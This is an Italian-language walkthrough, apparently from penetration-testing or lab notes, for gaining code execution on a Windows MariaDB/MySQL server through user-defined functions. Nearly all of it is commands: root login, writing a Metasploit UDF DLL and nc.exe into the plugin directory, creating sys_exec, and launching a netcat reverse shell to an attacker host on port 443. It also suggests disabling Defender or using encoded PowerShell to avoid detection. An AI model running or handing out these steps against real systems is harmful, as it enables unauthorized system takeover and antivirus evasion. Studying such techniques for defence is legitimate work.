
Esecuzione di codice autenticato dal database
Questa guida fornisce istruzioni dettagliate per sfruttare una vulnerabilità delle funzioni definite dall'utente (UDF) in MariaDB su un server remoto. Questi passaggi includono il download e l'esecuzione di codice malevolo su un sistema database vulnerabile.
Attenzione: Questo documento è solo a scopo educativo. L'uso non autorizzato di queste tecniche è illegale e non etico.
Usare il comando seguente per connettersi al server MySQL:
mysql -h 192.168.214.129 -u root -pPassw0rd!
Per determinare la versione di MySQL in esecuzione, eseguire:
select @@version;
Per vedere l'utente corrente connesso:
select user();
Recuperare tutti i dettagli relativi all'utente root:
select * from mysql.user where user='root';
Determinare quali privilegi ha l'utente corrente:
show grants;
Determinare se l'architettura del sistema è vulnerabile alle UDF:
select @@version_compile_os, @@version_compile_machine;
Identificare la directory dei plugin dove possono essere caricati i file UDF:
select @@plugin_dir;
Copiare la DLL a 32 bit dalla directory degli exploit di Metasploit:
ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll
Codificare il file udf.dll in formato base64:
cat udf.dll | base64 | tr -d '\n' > udf.base64
Copiare il valore base64 da udf.base64 e trasferirlo nel server MySQL:
Aprire udf.base64 in un editor di testo:
leafpad udf.base64
In MariaDB, eseguire:
select from_base64("valore base64") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';
In alternativa, usare il seguente percorso se necessario:
C:\Program Files\MariaDB 11.1\lib\plugin\
Eseguire il comando seguente in MariaDB per creare una nuova funzione:
create function sys_exec returns int soname 'udf.dll';
Nota: È possibile usare anche
sys_eval,sys_get,do_system, osys_bineval. Assicurarsi di usareinte noninto.
Verificare se la funzione UDF è stata installata correttamente:
select * from mysql.func;
Copiare l'eseguibile Netcat nella directory locale e codificarlo in base64:
cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64
Aprire nc.base64 in un editor di testo:
leafpad nc.base64
Poi, in MySQL:
select from_base64("valorebase64diNc.exe") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';
In alternativa, è possibile caricarlo direttamente usando:
mysql -u root -p -h 192.168.214.129 < nc.base64
Attivare il listener Netcat sulla porta 443:
sudo nc -nlvp 443
Eseguire Netcat sul server remoto per una reverse shell:
select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');
Nota: Questo passaggio potrebbe essere bloccato da Windows Defender o altri software antivirus. Considerare l'uso di comandi PowerShell codificati (
powershellbase64) e assicurarsi che Defender sia disattivato.
Eseguire un comando PowerShell usando la codifica base64:
select sys_exec('powershellbase64');
NOTA: In molti casi è possibile ottenere privilegi NT AUTHORITY\SYSTEM.
Eliminare una funzione: Per rimuovere eventuali funzioni UDF create:
drop function sys_get;
Verificare local_infile: Controllare se la scrittura locale è abilitata:
show variables like 'local_infile';
Trovare utenti con privilegio di inserimento: Identificare quali utenti hanno il privilegio di inserimento:
use mysql;
select user from user where insert_priv='Y' and Host='%';
Dichiarazione di non responsabilità: Questo documento è inteso solo a scopo educativo e per ricerca sulla sicurezza. L'uso improprio di queste informazioni può comportare accuse penali e severe sanzioni legali. Ottenere sempre il permesso dalle autorità competenti prima di testare qualsiasi vulnerabilità su una rete o un sistema.